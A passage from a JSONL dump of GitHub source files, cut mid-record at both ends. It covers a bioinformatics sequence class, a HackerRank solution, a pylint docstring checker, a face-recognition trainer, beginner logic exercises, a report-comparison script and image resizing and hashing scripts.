return trajectories\n","repo_name":"peter-i-frazier/group-testing","sub_path":"notebooks/pnas_paper_figs/calibrated_FS.py","file_name":"calibrated_FS.py","file_ext":"py","file_size_in_byte":5247,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"77"}
+{"seq_id":"70561493050","text":"\"\"\"\n    @does define Reference abstraction\n\"\"\"\n\nfrom Bio import SeqRecord\nfrom Bio import Seq\n\n\nclass Reference:\n    \"\"\"\n        @does define Reference abstraction\n    \"\"\"\n\n    @staticmethod\n    def from_name_and_sequence(name: str, sequence: str):\n        \"\"\"\n            @does build Refernce from string sequence and name\n        \"\"\"\n        return Reference(\n            name=name,\n            sequence=SeqRecord.SeqRecord(Seq.Seq(sequence)))\n\n    def __init__(self, name: str, sequence: SeqRecord.SeqRecord):\n        \"\"\"\n            @does initialize Reference\n        \"\"\"\n        self.__name = name\n        self.__sequence = sequence\n\n    def get_slice(self,\n                  start_index: int = None,\n                  end_index: int = None,\n                  reverse: bool = False) -> SeqRecord.SeqRecord:\n        \"\"\"\n            @returns slice of DNA and Reverse Complement is if reverse = True\n        \"\"\"\n        seq = self.__sequence.seq\n        if start_index is None:\n            start_index = 0\n        if end_index is None:\n            seq = seq[start_index:]\n        else:\n            seq = seq[start_index: end_index]\n        return seq.reverse_complement() if reverse else seq\n\n    def __str__(self) -> str:\n        \"\"\"\n            @returns string representation of Reference\n        \"\"\"\n        return (f\"Reference(name = \\\"{self.__name}\\\", \" +\n                f\"sequence = \\\"{self.__sequence.seq}\\\")\")\n","repo_name":"frefolli/bioinf-progetto","sub_path":"lib/reference.py","file_name":"reference.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"34677451084","text":"\r\ndef minion_game(string):\r\n    # your code goes here\r\n    vowels=['A','E','I','O','U']\r\n    stuart_score=0\r\n    kevin_score=0\r\n    combinations=[]\r\n\r\n    for i in range(len(string)):\r\n        j=0\r\n        while (j+i)<len(string):\r\n            s=string[j:j+i+1]\r\n            if s[0] in vowels:\r\n                kevin_score+=1\r\n            else :\r\n                stuart_score+=1\r\n            j+=1\r\n\r\n    #         if string[j:j+i+1] not in combinations:\r\n    #              combinations.append(string[j:j+i+1])\r\n           \r\n                \r\n    #         j+=1\r\n    \r\n    \r\n    # for i in combinations:\r\n    #     if i[0] in vowels:\r\n    #         kevin_score+=string.count(i)\r\n    #     else:\r\n    #          stuart_score+=string.count(i)\r\n    if stuart_score>kevin_score :\r\n        print(\"stuart \",stuart_score)\r\n    elif stuart_score<kevin_score :\r\n        print(\"kevin \",kevin_score)\r\n    else :\r\n        print(\"Draw\")\r\n    \r\n\r\nif __name__ == '__main__':\r\n    s = input()\r\n    minion_game(s)","repo_name":"gopiprasanthpotipireddy/HackerRank","sub_path":"minion_python.py","file_name":"minion_python.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"13749619618","text":"# vim: ft=python fileencoding=utf-8 sw=4 et sts=4\n\n\"\"\"Additional docstring checkers.\"\"\"\n\nimport re\nfrom typing import Set\n\nimport astroid\n\nfrom pylint.interfaces import IAstroidChecker\nfrom pylint.checkers import BaseChecker\n\n\nclass CommandMissingDocumentation(BaseChecker):\n    \"\"\"Checker to ensure command docstrings include all information for docs.\"\"\"\n\n    __implements__ = IAstroidChecker\n\n    name = \"command-docstring\"\n\n    name_ambiguous = \"ambiguous-register\"\n    name_missing = \"docstr-missing\"\n    name_syntax = \"command-bad-syntax\"\n    name_count = \"command-bad-count\"\n    name_argument_missing = \"command-arg-missing-doc\"\n    name_argument_bad = \"command-arg-bad-doc\"\n\n    msgs = {\n        \"E9001\": (\n            \"Command '%s' bad syntax section\",\n            name_syntax,\n            \"All commands with args must define a section in the form of '**syntax:**'\",\n        ),\n        \"E9002\": (\n            \"Command '%s' bad count section\",\n            name_count,\n            \"All commands with count must define a section in the form of '**count:**'\",\n        ),\n        \"E9003\": (\n            \"Command '%s' argument '%s' undocmented\",\n            name_argument_missing,\n            \"All command arguments should be documented in the \"\n            \"**posional/optional** arguments section**\",\n        ),\n        \"E9004\": (\n            \"Command '%s' argument '%s' bad doc format\",\n            name_argument_bad,\n            \"All command arguments should be documented in the \"\n            \"**posional/optional** arguments section**\",\n        ),\n        \"E9005\": (\n            \"Command '%s' missing docstring\",\n            name_missing,\n            \"All commands must have a docstring for documentation\",\n        ),\n        \"W9001\": (\n            \"Ambiguous register decorator, use module.register instead\",\n            name_ambiguous,\n            \"register decorators should be prepended with the module for clarity\",\n        ),\n    }\n\n    priority = -1\n\n    def visit_functiondef(self, node):\n        \"\"\"Run the checks on all function definitions that are commands.\"\"\"\n        if not self._is_command(node):\n            return\n        argnames = {arg.name.replace(\"_\", \"-\") for arg in node.args.args}\n        regular_argnames = argnames - {\"self\", \"count\"}\n        self._check_args_section(node, regular_argnames)\n        self._check_count_section(node, argnames)\n        self._check_syntax_section(node, regular_argnames)\n\n    @staticmethod\n    def sections(docstr):\n        \"\"\"Retrieve list of all sections separated by an empty line in docstr.\"\"\"\n        sections = []\n        content = \"\"\n        for line in docstr.split(\"\\n\"):\n            if not line.strip():\n                sections.append(content)\n                content = \"\"\n            else:\n                content += line\n        return sections\n\n    def _check_syntax_section(self, node, argnames):\n        \"\"\"Check if a syntax section is available for commands with arguments.\"\"\"\n        if not argnames:\n            return\n        for section in self.sections(node.doc):\n            if re.match(r\"\\*\\*syntax:\\*\\* ``.*``\", section.strip()):\n                return\n        self.add_message(self.name_syntax, node=node, args=(node.name,))\n\n    def _check_count_section(self, node, argnames):\n        \"\"\"Check if a count section is available for commands that support count.\"\"\"\n        if \"count\" not in argnames:\n            return\n        if \"**count:**\" not in node.doc:\n            self.add_message(self.name_count, node=node, args=(node.name,))\n\n    def _check_args_section(self, node, argnames):\n        \"\"\"Check if all command arguments are documented.\"\"\"\n        docstring_argnames = self._get_args_from_docstring(node)\n        difference = argnames - docstring_argnames\n        for argname in difference:\n            self.add_message(\n                self.name_argument_missing, node=node, args=(node.name, argname)\n            )\n\n    def _is_command(self, node) -> bool:\n        \"\"\"Check if a function definition node is a command.\n\n        This checks if the function was decorated by @commands.register.\n        \"\"\"\n        decorators = node.decorators\n        if decorators is None:\n            return False\n        for decorator in decorators.nodes:\n            # @register\n            if isinstance(decorator, astroid.node_classes.Name):\n                if decorator.name == \"register\":\n                    self.add_message(self.name_ambiguous, node=node)\n                continue\n            # @module.register, cannot be command as it needs arguments\n            if isinstance(decorator, astroid.node_classes.Attribute):\n                continue\n            # @register()\n            if isinstance(decorator.func, astroid.node_classes.Name):\n                if decorator.func.name == \"register\":\n                    self.add_message(self.name_ambiguous, node=node)\n                continue\n            # @module.register()\n            if isinstance(decorator.func.expr, astroid.node_classes.Name):\n                if decorator.func.expr.name == \"commands\":\n                    return True\n                return False\n            # @api.module.register()\n            if (\n                decorator.func.attrname == \"register\"\n                and decorator.func.expr.attrname == \"commands\"\n            ):\n                return True\n        return False\n\n    def _get_args_from_docstring(self, node) -> Set[str]:\n        \"\"\"Retrieve documented arguments from command docstring.\n\n        If an argument is not correctly formatted in the documentation section, the\n        name_argument_bad message is added.\n\n        Returns:\n            Set of all documented argument names.\n        \"\"\"\n        docstr = node.doc\n        if docstr is None:\n            self.add_message(self.name_missing, node=node, args=(node.name,))\n            return set()\n        lines = [line.strip() for line in node.doc.split(\"\\n\")]\n\n        def _get_args(identifier, pattern):\n            try:\n                index = lines.index(identifier)\n            except ValueError:\n                return set()\n            args = []\n            for line in lines[index:]:\n                if not line:  # Section separated\n                    break\n                if line.startswith(\"* \"):  # Argument list\n                    argument = line.split()[1]\n                    argname = argument.strip(\"-:`\")\n                    if not re.match(pattern, argument):\n                        self.add_message(\n                            self.name_argument_bad, node=node, args=(node.name, argname)\n                        )\n                    args.append(argname)\n            return set(args)\n\n        positional_args = _get_args(\n            \"positional arguments:\", \"``[a-zA-Z][a-zA-Z0-9-]*``:\"\n        )\n        optional_args = _get_args(\"optional arguments:\", \"``--[a-zA-Z][a-zA-Z0-9-]*``:\")\n        return positional_args | optional_args\n\n\ndef register(linter):\n    \"\"\"Register the defined checkers automatically.\"\"\"\n    linter.register_checker(CommandMissingDocumentation(linter))\n","repo_name":"karlch/vimiv-qt","sub_path":"scripts/pylint_checkers/check_docstring.py","file_name":"check_docstring.py","file_ext":"py","file_size_in_byte":7040,"program_lang":"python","lang":"en","doc_type":"code","stars":162,"dataset":"github-code","pt":"77"}
+{"seq_id":"7323973627","text":"import time\n\nimport numpy as np\nimport torch\nimport torch.autograd\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.nn.parallel\n\nimport utils\n\n# weighted channel package\n\n__all__ = [\"SphereTrainer\"]\n\n\nclass SphereTrainer(object):\n    \"\"\"Trainer class\n\n    Trainer takes charge of network training, lfw evaluation and network saving.\n\n    Attributes:\n        model: Network model.\n        train_loader: Training dataset loader.\n        test_loader: LFW dataset loader.\n        feature_dim: The dimension of face feature.\n        settings: Settings of the experiments\n        optimizer_state: optimizer_state from resume file\n        logger: Tensorboard logger.\n    \"\"\"\n\n    def __init__(self, model, lr_master,\n                 train_loader, test_loader,\n                 settings, logger, tensorboard_logger=None,\n                 optimizer_state=None, run_count=0):\n\n        self.settings = settings\n        self.model = utils.data_parallel(model, self.settings.nGPU, self.settings.GPU)\n        self.train_loader = train_loader\n        self.test_loader = test_loader\n        self.lr_master = lr_master\n        self.logger = logger\n        self.criterion = nn.CrossEntropyLoss().cuda()\n\n        self.optimizer = torch.optim.SGD(params=self.model.parameters(),\n                                         lr=self.lr_master.lr,\n                                         momentum=self.settings.momentum,\n                                         weight_decay=self.settings.weightDecay,\n                                         nesterov=True)\n        if optimizer_state is not None:\n            self.optimizer.load_state_dict(optimizer_state)\n\n        self.iteration = 0\n        self.criterion = nn.CrossEntropyLoss()\n        self.logger = logger\n        self.tensorboard_logger = tensorboard_logger\n        self.run_count = run_count\n\n    def update_lr(self, iters):\n        \"\"\"\n        update learning rate of optimizers\n        :param iters: current training iteration\n        \"\"\"\n        lr = self.lr_master.get_lr(iters)\n        # update learning rate of model optimizer\n        for param_group in self.optimizer.param_groups:\n            param_group['lr'] = lr\n\n        self.tensorboard_logger.scalar_summary('learning_rate', lr, iters)\n\n    def update_model(self, model):\n        self.model = utils.data_parallel(model=model,\n                                         ngpus=self.settings.nGPU,\n                                         gpu0=self.settings.GPU)\n\n        parameters = filter(lambda p: p.requires_grad,\n                            self.model.parameters())\n\n        self.optimizer = torch.optim.SGD(params=parameters,\n                                         lr=self.lr_master.lr,\n                                         momentum=self.settings.momentum,\n                                         weight_decay=self.settings.weightDecay,\n                                         nesterov=True)\n\n    def backward(self, loss):\n        self.optimizer.zero_grad()\n        loss.backward()\n        \"\"\"\n        we constrain the grad_norm in the range of 0~2, otherwise the gradient will explode\n        \"\"\"\n        # torch.nn.utils.clip_grad_norm(self.model.parameters(), 2.)\n        self.optimizer.step()\n\n    def forward(self, images, labels=None):\n        # forward and backward and optimize\n        if labels is not None:\n            output = self.model(images, labels)\n            loss = self.criterion(output, labels)\n            return output, loss\n        else:\n            output = self.model(images)\n            return output, None\n\n    def extract_deep_feature(self, img):\n        \"\"\"Extract face image and horizontally flipped face image features and\n        concatenating them together to get final face representation.\"\"\"\n        inv_idx = torch.arange(img.size(3) - 1, -1, -1).long()\n        img_flip = torch.index_select(img.cpu(), 3, inv_idx)\n\n        img_var = img.cuda()\n        img_flip_var = img_flip.cuda()\n\n        extract_time = time.time()\n        with torch.no_grad():\n            res = self.model(img_var)\n            res_ = self.model(img_flip_var)\n        extract_time = time.time() - extract_time\n        feature = torch.cat((res, res_), 1)\n        return feature.double(), extract_time\n\n    def lfw_get_threshold(self, scores, target_array, threshold_num):\n        \"\"\"Get the best threshold with respect to current set of scores.\"\"\"\n        accuracys = np.zeros((2 * threshold_num + 1,))\n        thresholds = np.arange(-threshold_num,\n                               threshold_num + 1) / float(threshold_num)\n        for i in range(2 * threshold_num + 1):\n            accuracys[i] = self.lfw_get_accuracy(\n                scores, target_array, thresholds[i])\n\n        best_threshold = np.mean(\n            thresholds[np.where(accuracys == np.max(accuracys))])\n        return best_threshold\n\n    def lfw_get_accuracy(self, scores, target_array, threshold):\n        \"\"\"Get lfw accuracy with respect to threshold.\"\"\"\n        accuracy = (len(np.where(scores[np.where(target_array == 1)] > threshold)[\n                            0]) + len(np.where(scores[np.where(target_array != 1)] < threshold)[0])) / float(\n            len(scores))\n        return accuracy\n\n    def test(self):\n        \"\"\"Evaluate on lfw dataset.\"\"\"\n        self.model.eval()\n\n        lfw_batch_size = 100\n        feature_dim = self.settings.featureDim\n        nrof_pair = len(self.test_loader) * lfw_batch_size\n        feature_left_array = np.zeros((nrof_pair, feature_dim * 2))\n        feature_right_array = np.zeros((nrof_pair, feature_dim * 2))\n        target_array = np.zeros((nrof_pair,))\n        fold_array = np.zeros((nrof_pair,))\n\n        accuracy = np.zeros(10, )\n        forward_time = 0\n        for batch_idx, (img_l, img_r, target, fold) in enumerate(self.test_loader):\n            img_l, img_r = img_l.cuda(), img_r.cuda()\n\n            target_numpy = target.numpy()\n            fold_numpy = fold.numpy()\n            feature_l, single_time = self.extract_deep_feature(img_l)\n            forward_time += single_time\n            feature_r, single_time = self.extract_deep_feature(img_r)\n            forward_time += single_time\n            feature_left_array[\n            batch_idx * lfw_batch_size:(batch_idx + 1) * lfw_batch_size] = feature_l.data.cpu().numpy()\n            feature_right_array[\n            batch_idx * lfw_batch_size:(batch_idx + 1) * lfw_batch_size] = feature_r.data.cpu().numpy()\n            target_array[batch_idx * lfw_batch_size:(batch_idx + 1) * lfw_batch_size] = target_numpy\n            fold_array[batch_idx * lfw_batch_size:(batch_idx + 1) * lfw_batch_size] = fold_numpy\n\n        self.logger.info(\"forward time {}\".format(forward_time))\n        # print fold_array\n\n        for i in range(10):\n            # split 10 filds into val & test set\n            val_fold_index = np.where(fold_array != i)\n            test_fold_index = np.where(fold_array == i)\n            # get normalized feature\n            feature = np.concatenate(\n                (feature_left_array[val_fold_index], feature_right_array[val_fold_index]))\n            mu = np.mean(feature, 0)\n\n            feature_l = np.copy(feature_left_array) - mu\n            feature_r = np.copy(feature_right_array) - mu\n            feature_l = feature_l / np.repeat(np.expand_dims(\n                np.sqrt(np.sum(np.square(feature_l), 1)), axis=1), feature_dim * 2, axis=1)\n            feature_r = feature_r / np.repeat(np.expand_dims(\n                np.sqrt(np.sum(np.square(feature_r), 1)), axis=1), feature_dim * 2, axis=1)\n\n            # get accuracy of the ith fold using cosine similarity\n            scores = np.sum(np.multiply(feature_l, feature_r), 1)\n            threshold = self.lfw_get_threshold(\n                scores[val_fold_index], target_array[val_fold_index], 10000)\n            accuracy[i] = self.lfw_get_accuracy(\n                scores[test_fold_index], target_array[test_fold_index], threshold)\n\n            self.logger.info(('[{:d}] fold accuracy: {:1.4f}, threshold: {:1.4f}'.format(i, accuracy[i], threshold)))\n\n        mean_accuracy = np.mean(accuracy)\n        std = np.std(accuracy)\n        self.logger.info(('Accuracy: {:1.4f}+-{:1.4f}'.format(mean_accuracy, std)))\n        self.tensorboard_logger.scalar_summary('lfw_accuracy', mean_accuracy, self.iteration)\n\n        return mean_accuracy, std, accuracy\n\n    def train(self, epoch):\n        \"\"\"Train a epoch\"\"\"\n        if self.iteration >= self.settings.nIters:\n            return\n        batch_time = utils.AverageMeter()\n        data_load_time = utils.AverageMeter()\n        losses = utils.AverageMeter()\n        top1 = utils.AverageMeter()\n        top5 = utils.AverageMeter()\n        iters = len(self.train_loader)\n        # switch to train mode\n        self.model.train()\n\n        end = time.time()\n        for batch_idx, (data, target) in enumerate(self.train_loader):\n            self.update_lr(self.iteration)\n\n            # measure data loading time\n            data_load_time.update(time.time() - end)\n            end = time.time()\n            data, target = data.cuda(), target.cuda()\n            output, loss = self.forward(data, target)\n            # compute gradient and do SGD step\n            self.backward(loss)\n            # measure accuracy and record loss\n            single_error, single_loss, single5_error = utils.compute_singlecrop(\n                outputs=output, labels=target,\n                loss=loss, top5_flag=True)\n            single_error /= target.size(0)\n            single5_error /= target.size(0)\n\n            losses.update(single_loss, data.size(0))\n            top1.update(single_error, data.size(0))\n            top5.update(single5_error, data.size(0))\n\n            self.tensorboard_logger.scalar_summary(\n                'train_loss', single_loss, self.iteration)\n            self.tensorboard_logger.scalar_summary(\n                'train_top1error', single_error, self.iteration)\n            self.tensorboard_logger.scalar_summary(\n                'train_top5error', single5_error, self.iteration)\n\n            # measure elapsed time\n            batch_time.update(time.time() - end)\n            end = time.time()\n            self.iteration = self.iteration + 1\n\n            utils.print_result(epoch, self.settings.nEpochs, batch_idx + 1,\n                               iters, self.lr_master.lr, data_load_time.avg, batch_time.avg,\n                               single_error, single_loss, top5error=single5_error,\n                               mode=\"Train\",\n                               logger=self.logger)\n\n            if self.iteration >= self.settings.nIters or self.settings.nEpochs == 1:\n                break\n\n        self.logger.info(\n            \"|===>Training Error: {:.4f} Loss: {:.4f}, Top5 Error: {:.4f}\".format(top1.avg, losses.avg, top5.avg))\n        return top1.avg, losses.avg, top5.avg\n","repo_name":"bohanzhuang/Towards-Effective-Low-bitwidth-Convolutional-Neural-Networks","sub_path":"ipytorch/tasks/sphere_face/sphere_trainer.py","file_name":"sphere_trainer.py","file_ext":"py","file_size_in_byte":10835,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"77"}
+{"seq_id":"37579993416","text":"#  +++ Логические операции\n\n# 1. Присвойте двум переменным любые числовые значения.\n\ndef variables():\n    \"\"\"\n    Assign any numeric values to the two variables.\n    \"\"\"\n    global a\n    global b\n    a = 10\n    b = 20\n    return f\"a={a}, b={b}\"\n\n\nprint(variables())\n\n\n# 2. Составьте четыре сложных логических выражения с помощью оператора and,\n# два из которых должны давать истину, а два других - ложь.\n\ndef operator_and():\n    \"\"\"\n    Compose four complex logical expressions using the and operator, two of\n     which should give true, and the other two should give false.\n    \"\"\"\n    q1 = (a * 2 == 20 and b == 20)\n    q2 = (b < 21 and a > 1)\n    q3 = (a == b and b <= 10)\n    q4 = (a != 10 and b != 20)\n    return f\"1: {q1}, {q2}, {q3}, {q4}\"\n\n\nprint(operator_and())\n\n\n# 3. Аналогично выполните п. 2, но уже используя оператор or.\n\ndef operatot_or():\n    \"\"\"\n    Compose four complex logical expressions using the or operator, two of\n    which should give true, and the other two should give false.\n    \"\"\"\n    q5 = (a >= 15 or b > 15)\n    q6 = (a == 10 or b == 10 or b / 2 == 10)\n    q7 = (a >= b + 5 or b < 19)\n    q8 = (a == b ** 2 or b != 20)\n    return f\"2: {q5}, {q6}, {q7}, {q8}\"\n\n\nprint(operatot_or())\n\n\n# 4. Попробуйте использовать в сложных логических выражениях работу с\n# переменными строкового типа\n\ndef hard_bool():\n    \"\"\"\n    Try to use working with string-type variables in complex logical\n     expressions\n    \"\"\"\n    w1 = (\"hello\" >= \"14\" or \"1\" >= \"world\")\n    w2 = (\"hello\" != 11111 and a < b)\n    w3 = (\"11\" <= \"1\" or \"1\" == \"11\")\n    w4 = (\"11\" == 11 or \"world\" == 11)\n    return f\"3: {w1}, {w2}, {w3}, {w4}\"\n\n\nprint(hard_bool())\n","repo_name":"gonchar-viktor/tms_qap14_gonchar","sub_path":"hw5/hw5_logical_operations+.py","file_name":"hw5_logical_operations+.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28383803281","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Oct 11 15:10:53 2020\r\n\r\n@author: heart\r\n\"\"\"\r\n\r\n\r\nimport pandas\r\nimport sqlalchemy\r\nimport re\r\n\r\nfrom PRACTICE.sys_connect import hostname, username, password, database, IDR_host, path, outpath\r\n\r\npandas.set_option('display.float_format', lambda x: '%.3f' % x)\r\n\r\n\r\ndef program3_report_vs_tera(infile2, outfile):\r\n    \r\n    print(\"Read in SSP current month data ...\")\r\n\r\n    #### Read in SSP reports from IDR\r\n    \r\n    sql = f\"\"\"\r\n            \"\"\"\r\n\r\n    engine = sqlalchemy.create_engine('teradatasql://{}:{}@{}/?logmech=LDAP'.format(username,password,IDR_host))\r\n    excel1 = pandas.read_sql(sql,con=engine)\r\n      \r\n\r\n    \r\n    excel2 = pandas.read_excel(infile2, convert_float = True, header=None, index_col=None, dtype=\"object\", skiprows=[0, 1, 2, 3, 4])\r\n\r\n    excel0 = pandas.read_excel(infile2, \r\n                               sheet_name=0, \r\n                               convert_float = True, \r\n                               header=None, \r\n                               index_col=None, \r\n                               dtype=\"object\")\r\n\r\n    report_name = excel0.iloc[1,0]\r\n    report_period = excel0.iloc[2,0]\r\n    report_date = excel0.iloc[-1,0]\r\n    \r\n    \r\n#    excel1.drop(columns=[10, 11, 16, 17], inplace=True)\r\n    excel2.drop(columns=[10, 11, 16, 17], inplace=True)\r\n    \r\n    excel1.rename(columns={\r\n            \"PERFORMANCE_YEAR\": \"Performance Year\",\r\n            \"BENE_CNT\": \"Beneficiaries\",\r\n            \"TOT_SA_CLM_PCT\": \"% of Total SA Expenditures\",\r\n            \"TOT_SA_CLM_CNT\": \"SA Claims Suppressed\",\r\n            \"SPRSD_SA_PCT\": \"% of SA Claims Suppressed\",\r\n            \"PBP_RDCTN_BENE_CNT\": \"Beneficiaries with PBP Reduction\",\r\n            \"PBP_INCLSN_TOT_AMT\": \"Total PBP Inclusion Amount\",\r\n            \"PBP_INCLSN_RDCTN_PCT\": \"% of Total PBP Reduction Amount\",\r\n            \"TOT_UNIQUE_BENE\": \"Total Count of Unique Beneficiaries\"\r\n            }, inplace=True)\r\n    \r\n    excel2.rename(columns={\r\n            0: \"PPO\",\r\n            1: \"Performance Year\",\r\n            2: \"Beneficiaries\",\r\n            3: \"% of Total SA Expenditures\",\r\n            4: \"SA Claims Suppressed\",\r\n            5: \"% of SA Claims Suppressed\",\r\n            6: \"Beneficiaries with PBP Reduction\",\r\n            7: \"Total PBP Inclusion Amount\",\r\n            8: \"% of Total PBP Reduction Amount\",\r\n            9: \"BD\",\r\n            12: \"PL\",\r\n            13: \"EC\",\r\n            14: \"PC\",\r\n            15: \"Total Count of Unique Beneficiaries\"\r\n            }, inplace = True)\r\n    \r\n    ppo_pat = re.compile('^A[0-9]+$')\r\n    \r\n    for row in excel1.index:\r\n        excel1.iloc[row, 0] = str(excel1.iloc[row, 0]).strip()\r\n        excel1.iloc[row, 3] = round(excel1.iloc[row, 3] * 100)\r\n        excel1.iloc[row, 5] = round(excel1.iloc[row, 5] * 100)\r\n        excel1.iloc[row, 8] = round(excel1.iloc[row, 8] * 100)\r\n        if not ppo_pat.match(str(excel1.iloc[row, 0])):\r\n            excel1.drop(range(row, len(excel1.index)), inplace = True)\r\n            break\r\n\r\n    excel1.sort_values(\"ACO\", inplace=True)\r\n        \r\n    for row in excel2.index:\r\n        excel2.iloc[row, 3] = round(excel2.iloc[row, 3] * 10000)\r\n        excel2.iloc[row, 5] = round(excel2.iloc[row, 5] * 10000)\r\n        excel2.iloc[row, 8] = round(excel2.iloc[row, 8] * 10000)\r\n        if not ppo_pat.match(str(excel2.iloc[row, 0])):\r\n            excel2.drop(range(row, len(excel2.index)), inplace = True)\r\n            break\r\n\r\n    excel2.sort_values(\"ACO\", inplace=True)\r\n            \r\n    both_df = pandas.merge(excel1, excel2, on=\"ACO\", how=\"inner\")\r\n    \r\n    num_pattern = re.compile(\"^[-0-9.]+$\")\r\n    currency_pattern = re.compile(\"[-0-9,$]+\\.[0-9][0-9]?$\")\r\n    \r\n    with pandas.ExcelWriter(outfile) as writer:\r\n        work_book = writer.book\r\n        left_align_format = work_book.add_format()\r\n        left_align_format.set_align(\"left\")\r\n        red_format = work_book.add_format()\r\n        red_format.set_font_color('red')\r\n        count_format = work_book.add_format({\"num_format\": \"#,##0\"})\r\n        pct_format = work_book.add_format({\"num_format\": \"0.00%\"})\r\n        currency_format = work_book.add_format({\"num_format\": \"$#,##0.00\"})\r\n        wrap_format = work_book.add_format()\r\n        wrap_format.set_text_wrap()\r\n               \r\n        diff_sheet = work_book.add_worksheet(\"Compared result\")\r\n        diff_sheet.merge_range('A1:N1', report_name + \"\\n\" + report_period + \"\\n\" + report_date, wrap_format)\r\n        diff_sheet.set_row(0, 45)\r\n\r\n        rows = len(both_df.index)\r\n        cols = len(excel1.columns)\r\n        \r\n        # print header\r\n        for col in range(0, cols):\r\n            diff_sheet.write(1, col, excel1.columns[col])\r\n        \r\n        for row in range(0, rows):\r\n            \r\n            # write ACO and Performance year\r\n            diff_sheet.write(row + 2, 0, str(both_df.iloc[row, 0]))\r\n            diff_sheet.write(row + 2, 1, \"{:.0f}\".format(both_df.iloc[row, 1]))\r\n            \r\n            for col in range(2, cols):\r\n                a = both_df.iloc[row, col]\r\n                b = both_df.iloc[row, col + cols - 1]\r\n\r\n                if a == b:\r\n                    diff_sheet.write(row + 2, col, \"Matched\")\r\n                else:\r\n                    diff_sheet.write(row + 2, col, \"Not Matched\", red_format)\r\n \r\n        diff_sheet.set_column(0, cols, 30, left_align_format)\r\n\r\n","repo_name":"placidworld/Python-Application-for-Reports","sub_path":"program3_report_vs_tera.py","file_name":"program3_report_vs_tera.py","file_ext":"py","file_size_in_byte":5361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31000073073","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[3]:\n\n\n#import necessary packages\nimport cv2\nimport imageio\nimport os\nimport glob\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport warnings\nimport matplotlib.cbook\nwarnings.filterwarnings(\"ignore\",category=matplotlib.cbook.mplDeprecation)\n \n#Set the path where images are stored\nimg_dir = \"D:/hari images/\" # Enter Directory of all images  \ndata_path = os.path.join(img_dir,'*')\nfiles = glob.glob(data_path)\ndata = []\nfor f1 in files:\n    img = plt.imread(f1)\n    data.append(img)\n    #image_resized=cv2.resize(img,(200,200))\n    plt.figure()\n    plt.title('Original Image')\n    plt.imshow(img)\n    #plt.show()\n    #plt.imshow(image_resized)\n    plt.show()\n    #fig = plt.figure()\n    #fig.set_size_inches(5, 5)\nfor f1 in files:\n    img = plt.imread(f1)\n    data.append(img)\n    image_resized=cv2.resize(img,(200,200))\n    plt.figure()\n    plt.title('Resized Image')\n    #plt.imshow(img)\n    #plt.show()\n    plt.imshow(image_resized)\n    plt.show()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"harishnk443/image-processing","sub_path":"resized.py","file_name":"resized.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31709657480","text":"import numpy as np\nimport pandas as pd\nimport os\nfrom PIL import Image\nimport imagehash\nfrom tqdm import tqdm\n\nmapillary_hashes_df = pd.DataFrame()\nmapillary_filenames = []\nmapillary_splits = []\nmapillary_a_hashes = []\nmapillary_p_hashes = []\nmapillary_d_hashes = []\nmapillary_w_hashes = []\n\nHASH_SIZE = 64\n\nfor split in ['training', 'validation']:\n    mapillary_image_path = f'/data/shared/mapillary_vistas/{split}/images_original/'\n    mapillary_vistas_files = os.listdir(mapillary_image_path)\n    print(f'num mapillary {split} files', len(mapillary_vistas_files))\n    for filename in tqdm(mapillary_vistas_files):\n        filepath = os.path.join(mapillary_image_path, filename)\n        img = Image.open(filepath)\n        a_hash = imagehash.average_hash(img, hash_size=HASH_SIZE)\n        p_hash = imagehash.phash(img, hash_size=HASH_SIZE)\n        d_hash = imagehash.dhash(img, hash_size=HASH_SIZE)\n        w_hash = imagehash.whash(img, hash_size=HASH_SIZE)\n\n        mapillary_filenames.append(filename)\n        mapillary_splits.append(split)\n        mapillary_a_hashes.append(a_hash)\n        mapillary_p_hashes.append(p_hash)\n        mapillary_d_hashes.append(d_hash)\n        mapillary_w_hashes.append(w_hash)\n\nmapillary_hashes_df['filename'] = mapillary_filenames\nmapillary_hashes_df['split'] = mapillary_splits\nmapillary_hashes_df['a_hash'] = mapillary_a_hashes\nmapillary_hashes_df['p_hash'] = mapillary_p_hashes\nmapillary_hashes_df['d_hash'] = mapillary_d_hashes\nmapillary_hashes_df['w_hash'] = mapillary_w_hashes\n\nprint('[INFO] saving mapillary df')\nmapillary_hashes_df.to_csv('mapillary_vistas_hashes.csv', index=False)\n\n# overlap_images = 0\n# overlapping_image_filename = []\n\nmtsd_hashes_df = pd.DataFrame()\nmtsd_filenames = []\nmtsd_splits = []\nmtsd_a_hashes = []\nmtsd_p_hashes = []\nmtsd_d_hashes = []\nmtsd_w_hashes = []\n\nfor split in ['train', 'val']:\n    mtsd_image_path = f'/data/shared/mtsd_v2_fully_annotated/images/{split}'\n    mtsd_files = os.listdir(mtsd_image_path)\n    print(f'num mtsd {split} files', len(mtsd_files))\n    for filename in tqdm(mtsd_files):\n        filepath = os.path.join(mtsd_image_path, filename)\n        img = Image.open(filepath)\n        a_hash = imagehash.average_hash(img, hash_size=HASH_SIZE)\n        p_hash = imagehash.phash(img, hash_size=HASH_SIZE)\n        d_hash = imagehash.dhash(img, hash_size=HASH_SIZE)\n        w_hash = imagehash.whash(img, hash_size=HASH_SIZE)\n\n        mtsd_filenames.append(filename)\n        mtsd_splits.append(split)\n        mtsd_a_hashes.append(a_hash)\n        mtsd_p_hashes.append(p_hash)\n        mtsd_d_hashes.append(d_hash)\n        mtsd_w_hashes.append(w_hash)\n\nmtsd_hashes_df['filename'] = mtsd_filenames\nmtsd_hashes_df['split'] = mtsd_splits\nmtsd_hashes_df['a_hash'] = 